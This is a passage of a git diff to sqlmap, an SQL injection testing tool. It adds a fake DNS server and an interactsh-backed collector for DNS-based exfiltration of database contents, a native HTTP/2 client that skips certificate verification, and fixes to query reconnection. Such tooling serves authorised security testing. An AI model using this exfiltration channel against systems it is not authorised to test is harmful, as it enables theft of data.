re.search(r"(?i)\A\s*(?:SELECT|WITH|PRAGMA|EXPLAIN|DESCRIBE|DESC|SHOW|TABLE|VALUES)\b", query) is None: + query = "SELECT %s" % query + + if conf.binaryFields: + for field in conf.binaryFields: + field = field.strip() + if re.search(r"\b%s\b" % re.escape(field), query): + query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query.upper(): - _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) - elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): - output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) - hashDBWrite(query, output, True) + if not select and re.search(r"(?i)\bEXEC ", query) is None: + timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) + elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): + output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) + if output and isListLike(output): + output = [tuple(_hexifyBinary(_) for _ in row) if isListLike(row) else _hexifyBinary(row) for row in output] + if state == TIMEOUT_STATE.NORMAL: + hashDBWrite(query, output, True) + elif state in (TIMEOUT_STATE.TIMEOUT, TIMEOUT_STATE.EXCEPTION): + # a timed-out OR fatally-errored query (e.g. the connector raised SqlmapConnectionException, or the + # connection dropped mid-scan) left the connection unusable; reconnect so the rest of the scan + # recovers instead of every following query being silently swallowed to None (wrong/empty data). + # A genuinely dead DB makes connect() raise here and the scan aborts cleanly, as with TIMEOUT. + conf.dbmsConnector.close() + conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) + threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: diff --git a/lib/request/dns.py b/lib/request/dns.py index 8f10a605a22..f97d7cf60ce 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,72 +1,141 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + +import binascii +import collections +import errno import os import re import socket +import struct import threading import time +try: + from lib.core.settings import MAX_DNS_REQUESTS +except ImportError: + MAX_DNS_REQUESTS = 1000 # fallback so this module stays runnable standalone + class DNSQuery(object): """ - Used for making fake DNS resolution responses based on received - raw request - - Reference(s): - http://code.activestate.com/recipes/491264-mini-fake-dns-server/ - https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." + True + >>> DNSQuery(b'\\x00')._query == b"" + True """ def __init__(self, raw): self._raw = raw - self._query = "" + self._query = b"" + + try: + if len(raw) < 13: + return + + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits + + if type_ == 0: # Standard query + i = 12 + labels = [] + + while True: + if i >= len(raw): + return + + j = ord(raw[i:i + 1]) + + if j == 0: + break + + i += 1 - type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits + if i + j > len(raw): + return - if type_ == 0: # Standard query - i = 12 - j = ord(raw[i]) + labels.append(raw[i:i + j]) + i += j - while j != 0: - self._query += raw[i + 1:i + j + 1] + '.' - i = i + j + 1 - j = ord(raw[i]) + if labels: + self._query = b".".join(labels) + b'.' + except (TypeError, ValueError, IndexError): + self._query = b"" def response(self, resolution): """ Crafts raw DNS resolution response packet """ - retVal = "" + retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += "\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query - retVal += "\xc0\x0c" # Pointer to domain name - retVal += "\x00\x01" # Type A - retVal += "\x00\x01" # Class IN - retVal += "\x00\x00\x00\x20" # TTL (32 seconds) - retVal += "\x00\x04" # Data length - retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP + end = self._raw[12:].find(b"\x00") + + if end < 0 or len(self._raw) < 12 + end + 5: + return retVal + + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + end + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): + """ + Used for making fake DNS resolution responses based on received + raw request + + Reference(s): + https://code.activestate.com/recipes/491264-mini-fake-dns-server/ + https://web.archive.org/web/20150418152405/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + """ + def __init__(self): - self._requests = [] + self._check_localhost() + self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS) self._lock = threading.Lock() - self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + try: + self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) + except AttributeError: + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False + def _check_localhost(self): + response = b"" + s = None + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) + s.connect(("", 53)) + s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com + response = s.recv(512) + except: + pass + finally: + if s: + s.close() + + if response and b"google" in response: + raise socket.error("another DNS service already running on '0.0.0.0:53'") + def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given @@ -75,11 +144,17 @@ def pop(self, prefix=None, suffix=None): retVal = None + if prefix and hasattr(prefix, "encode"): + prefix = prefix.encode() + + if suffix and hasattr(suffix, "encode"): + suffix = suffix.encode() + with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): - retVal = _ + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) + retVal = _.decode() break return retVal @@ -90,17 +165,55 @@ def run(self): """ def _(): + def _is_udp_connreset(ex): + return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054) + try: self._running = True self._initialized = True + try: + if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"): + # Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on + # recvfrom(). DNS clients in tests and in the wild can disappear before + # reading our fake response; that must not kill the server thread. + self._socket.ioctl(socket.SIO_UDP_CONNRESET, False) + except Exception: + pass + while True: - data, addr = self._socket.recvfrom(1024) - _ = DNSQuery(data) - self._socket.sendto(_.response("127.0.0.1"), addr) + try: + data, addr = self._socket.recvfrom(1024) + except KeyboardInterrupt: + raise + except socket.error as ex: + if _is_udp_connreset(ex): + continue + break # socket closed/broken - stop serving (e.g. program exit) + except Exception: + break # socket closed/broken - stop serving (e.g. program exit) + + # Note: a single malformed packet or a transient send error must NOT kill the + # server thread (otherwise all subsequent DNS exfiltration is silently lost). + # The query is recorded BEFORE responding, so the exfiltrated data is captured + # even if crafting/sending the (fake) resolution response fails. + try: + _ = DNSQuery(data) + + if not _._query: + continue + + with self._lock: + self._requests.append(_._query) - with self._lock: - self._requests.append(_._query) + response = _.response("127.0.0.1") + + if response: + self._socket.sendto(response, addr) + except KeyboardInterrupt: + raise + except Exception: + pass except KeyboardInterrupt: raise @@ -112,6 +225,68 @@ def _(): thread.daemon = True thread.start() +class InteractshDNSServer(object): + """DNS exfiltration collector backed by a public (or self-hosted) interactsh + interaction server instead of a locally-bound privileged :53 socket. This lets + the '--dns-domain' data-exfiltration technique run with zero infrastructure - no + delegated authoritative domain, no root/Administrator, no reachable listener - + by resolving lookups under the interactsh correlation domain and polling them + back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it + is a drop-in for conf.dnsServer. + """ + + _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds; + _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent + + def __init__(self, server=None): + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package") + + self._client = Interactsh(server=server) + + if not self._client.registered: + raise socket.error("could not register with an interactsh interaction server") + + self.domain = self._client.dnsDomain() + self._seen = set() + self._running = True + self._initialized = True + + def run(self): + """No background listener is needed - interactsh does the receiving.""" + pass + + def pop(self, prefix=None, suffix=None): + """ + Returns a captured DNS lookup name matching the given prefix/suffix + (prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop(). + + Unlike the synchronous local DNSServer (which reads a query captured during the + very request), interactsh is remote and eventually-consistent: a just-triggered + lookup takes a moment to reach the collector and surface via its poll API. So we + poll a few times before giving up, instead of reading once. + """ + + for attempt in range(self._POLL_TRIES): + for name in self._client.dnsNames(): + if name in self._seen: + continue + + if prefix is None and suffix is None: + self._seen.add(name) + return name + + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + return name + + if attempt < self._POLL_TRIES - 1: + time.sleep(self._POLL_DELAY) + + return None + if __name__ == "__main__": server = None try: @@ -128,13 +303,13 @@ def _(): if _ is None: break else: - print "[i] %s" % _ + print("[i] %s" % _) time.sleep(1) - except socket.error, ex: + except socket.error as ex: if 'Permission' in str(ex): - print "[x] Please run with sudo/Administrator privileges" + print("[x] Please run with sudo/Administrator privileges") else: raise except KeyboardInterrupt: diff --git a/lib/request/http2.py b/lib/request/http2.py new file mode 100644 index 00000000000..7af598c4193 --- /dev/null +++ b/lib/request/http2.py @@ -0,0 +1,788 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional +# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical +# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client +# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x. + +import base64 +import socket +import ssl +import struct +import threading + +try: + from http.client import responses as _HTTP_RESPONSES +except ImportError: + from httplib import responses as _HTTP_RESPONSES + +try: + from urllib.parse import urljoin, urlsplit +except ImportError: + from urlparse import urljoin, urlsplit + +from email.message import Message as _Message + +REDIRECT_CODES = (301, 302, 303, 307, 308) + + +HUFFMAN_CODES = [ + 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, + 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, + 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, + 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, + 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, + 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, + 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, + 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, + 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, + 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, + 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, + 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, + 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, + 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, + 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, + 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, + 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, + 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, + 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, + 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, + 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, + 0x3fffffff +] + + +HUFFMAN_LENGTHS = [ + 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, + 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd, + 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7, + 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, + 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6, + 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb, + 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18, + 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16, + 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16, + 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16, + 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b, + 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16, + 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b, + 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e +] + + +STATIC_TABLE = ( + (b':authority', b''), + (b':method', b'GET'), + (b':method', b'POST'), + (b':path', b'/'), + (b':path', b'/index.html'), + (b':scheme', b'http'), + (b':scheme', b'https'), + (b':status', b'200'), + (b':status', b'204'), + (b':status', b'206'), + (b':status', b'304'), + (b':status', b'400'), + (b':status', b'404'), + (b':status', b'500'), + (b'accept-charset', b''), + (b'accept-encoding', b'gzip, deflate'), + (b'accept-language', b''), + (b'accept-ranges', b''), + (b'accept', b''), + (b'access-control-allow-origin', b''), + (b'age', b''), + (b'allow', b''), + (b'authorization', b''), + (b'cache-control', b''), + (b'content-disposition', b''), + (b'content-encoding', b''), + (b'content-language', b''), + (b'content-length', b''), + (b'content-location', b''), + (b'content-range', b''), + (b'content-type', b''), + (b'cookie', b''), + (b'date', b''), + (b'etag', b''), + (b'expect', b''), + (b'expires', b''), + (b'from', b''), + (b'host', b''), + (b'if-match', b''), + (b'if-modified-since', b''), + (b'if-none-match', b''), + (b'if-range', b''), + (b'if-unmodified-since', b''), + (b'last-modified', b''), + (b'link', b''), + (b'location', b''), + (b'max-forwards', b''), + (b'proxy-authenticate', b''), + (b'proxy-authorization', b''), + (b'range', b''), + (b'referer', b''), + (b'refresh', b''), + (b'retry-after', b''), + (b'server', b''), + (b'set-cookie', b''), + (b'strict-transport-security', b''), + (b'transfer-encoding', b''), + (b'user-agent', b''), + (b'vary', b''), + (b'via', b''), + (b'www-authenticate', b''), +) +STATIC_LEN = len(STATIC_TABLE) + + +# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. + +# frame types (RFC 7540 s6) +DATA, HEADERS, RST_STREAM, SETTINGS, PUSH_PROMISE, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9 +# flags +FLAG_END_STREAM = 0x1 +FLAG_ACK = 0x1 +FLAG_END_HEADERS = 0x4 +FLAG_PADDED = 0x8 +FLAG_PRIORITY = 0x20 + +CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +def encode_frame(ftype, flags, stream_id, payload=b""): + """Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id. + + >>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9]) + (3, 1, 4, 1) + """ + if len(payload) > 0xffffff: + raise ValueError("frame payload exceeds 24-bit length") + header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) + header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31) + return header + payload + +def decode_frame_header(nine): + """Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off. + + >>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9]) + (0, 0, 0, 1) + """ + if len(nine) != 9: + raise ValueError("frame header must be exactly 9 bytes") + length = struct.unpack("!I", b"\x00" + nine[:3])[0] + ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9]) + return length, ftype, flags, stream_id & 0x7fffffff + +# ---------- Huffman ---------- +def huffman_encode(data): + """Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits. + + >>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com' + True + >>> huffman_encode(b'') == b'' + True + """ + if not data: + return b"" + acc = 0 + nbits = 0 + for b in bytearray(data): + acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b] + nbits += HUFFMAN_LENGTHS[b] + pad = (8 - nbits % 8) % 8 + acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix) + total = (nbits + pad) // 8 + out = bytearray() + for i in range(total - 1, -1, -1): + out.append((acc >> (8 * i)) & 0xff) + return bytes(out) + +_HUFF_ROOT = {} +def _build_huffman_trie(): + for sym in range(256): + code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym] + node = _HUFF_ROOT + for i in range(length - 1, -1, -1): + bit = (code >> i) & 1 + if i == 0: + node[bit] = sym # leaf: int symbol + else: + node = node.setdefault(bit, {}) +_build_huffman_trie() + +def huffman_decode(data): + out = bytearray() + node = _HUFF_ROOT + consumed = 0 # bits into the current (partial) symbol + for byte in bytearray(data): + for i in range(7, -1, -1): + bit = (byte >> i) & 1 + nxt = node.get(bit) + if nxt is None: + raise ValueError("invalid Huffman sequence") + consumed += 1 + if isinstance(nxt, dict): + node = nxt + else: + out.append(nxt) + node = _HUFF_ROOT + consumed = 0 + # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8 + if node is not _HUFF_ROOT: + if consumed >= 8: + raise ValueError("Huffman padding too long") + # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches + # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it + return bytes(out) + +# ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- +def encode_integer(value, prefix_bits, first_byte=0): + """Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix. + + >>> list(encode_integer(10, 5)) + [10] + >>> list(encode_integer(1337, 5)) + [31, 154, 10] + """ + mask = (1 << prefix_bits) - 1 + if value < mask: + return bytearray([first_byte | value]) + out = bytearray([first_byte | mask]) + value -= mask + while value >= 0x80: + out.append((value & 0x7f) | 0x80) + value >>= 7 + out.append(value) + return out + +def decode_integer(data, pos, prefix_bits): + """Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1). + + >>> decode_integer(bytearray([31, 154, 10]), 0, 5) + (1337, 3) + """ + mask = (1 << prefix_bits) - 1 + value = data[pos] & mask + pos += 1 + if value < mask: + return value, pos + shift = 0 + while True: + b = data[pos] + pos += 1 + value += (b & 0x7f) << shift + shift += 7 + if not (b & 0x80): + break + return value, pos + +def encode_string(value, huffman=True): + if huffman: + encoded = huffman_encode(value) + if len(encoded) < len(value): # only use Huffman when it actually shrinks + return encode_integer(len(encoded), 7, 0x80) + encoded + return encode_integer(len(value), 7, 0x00) + bytearray(value) + +def decode_string(data, pos): + huffman = bool(data[pos] & 0x80) + length, pos = decode_integer(data, pos, 7) + raw = bytes(data[pos:pos + length]) + pos += length + return (huffman_decode(raw) if huffman else raw), pos + +# ---------- dynamic table + decoder/encoder ---------- +class Decoder(object): + def __init__(self, max_size=4096): + self.max_size = max_size + self.dynamic = [] # newest first: [(name, value), ...] + self._size = 0 + + def _entry_size(self, name, value): + return 32 + len(name) + len(value) + + def _add(self, name, value): + self.dynamic.insert(0, (name, value)) + self._size += self._entry_size(name, value) + self._evict() + + def _evict(self): + while self._size > self.max_size and self.dynamic: + name, value = self.dynamic.pop() + self._size -= self._entry_size(name, value) + + def _get(self, index): + if index <= 0: + raise ValueError("invalid header index 0") + if index <= STATIC_LEN: + return STATIC_TABLE[index - 1] + index -= STATIC_LEN + 1 + if index >= len(self.dynamic): + raise ValueError("dynamic index out of range") + return self.dynamic[index] + + def decode(self, data): + """Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6). + + >>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')] + True + """ + data = bytearray(data) + pos = 0 + headers = [] + n = len(data) + while pos < n: + byte = data[pos] + if byte & 0x80: # 6.1 indexed + index, pos = decode_integer(data, pos, 7) + headers.append(self._get(index)) + elif byte & 0x40: # 6.2.1 literal + incremental indexing + index, pos = decode_integer(data, pos, 6) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + self._add(name, value) + headers.append((name, value)) + elif byte & 0x20: # 6.3 dynamic table size update + new_size, pos = decode_integer(data, pos, 5) + self.max_size = new_size + self._evict() + else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix) + index, pos = decode_integer(data, pos, 4) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + headers.append((name, value)) + return headers + +class Encoder(object): + # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings. + # (Correctness-critical decoding is the hard part; a server accepts this trivially.) + def encode(self, headers): + out = bytearray() + for name, value in headers: + out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name + out += encode_string(name) + out += encode_string(value) + return bytes(out) + +SETTINGS_ENABLE_PUSH = 0x2 +SETTINGS_INITIAL_WINDOW_SIZE = 0x4 +BIG_WINDOW = (1 << 31) - 1 + +# Upper bound on the response bytes (body or header block) buffered per stream. The client advertises a +# ~2GB flow-control window, so without this a large (or hostile) server would drive the whole body into +# memory and OOM the process. Mirrors the HTTP/1.1 path's MAX_CONNECTION_TOTAL_SIZE (100MB) cap in +# connect.py; a stream that exceeds it is truncated (body) or abandoned (headers) and its connection retired. +MAX_RESPONSE_SIZE = 100 * 1024 * 1024 + +def _recv_exact(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise IOError("connection closed by peer") + buf += chunk + return buf + +def _read_frame(sock): + length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9)) + return ftype, flags, sid, (_recv_exact(sock, length) if length else b"") + +def _tob(x): + return x if isinstance(x, bytes) else x.encode("latin-1") + +def _connect_socket(host, port, proxy, timeout): + # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies + # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a + # (proxy_host, proxy_port, "user:pass"-or-None) tuple. + if not proxy: + return socket.create_connection((host, port), timeout=timeout) + + proxy_host, proxy_port, proxy_cred = proxy + raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout) + try: + request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port) + if proxy_cred: + token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii") + request += "Proxy-Authorization: Basic %s\r\n" % token + request += "\r\n" + raw.sendall(request.encode("latin-1")) + + response = b"" + while b"\r\n\r\n" not in response: + chunk = raw.recv(4096) + if not chunk: + raise IOError("proxy closed the connection during CONNECT") + response += chunk + if len(response) > 65536: + raise IOError("oversized proxy CONNECT response") + + status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace") + fields = status_line.split(None, 2) + code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0 + if not (200 <= code < 300): + raise IOError("proxy CONNECT failed: %s" % status_line) + return raw + except Exception: + try: + raw.close() + except Exception: + pass + raise + +class _UnprocessedStream(IOError): + """Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below + ours), so the request is always safe to retry on a fresh connection.""" + +class _H2Connection(object): + """A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread. + + Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which + preserves request<->response isolation (clean time-based latency, no desync), exactly like the + thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's + requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful, + so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing + (stateless), hence a fresh one per request is safe on a reused socket.""" + + def __init__(self, host, port, proxy, timeout): + self.host, self.port, self.proxy = host, port, proxy + self.dec = Decoder() # persistent server->client HPACK table + self.next_sid = 1 # odd, strictly increasing per RFC 7540 + self.usable = True + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + raw = 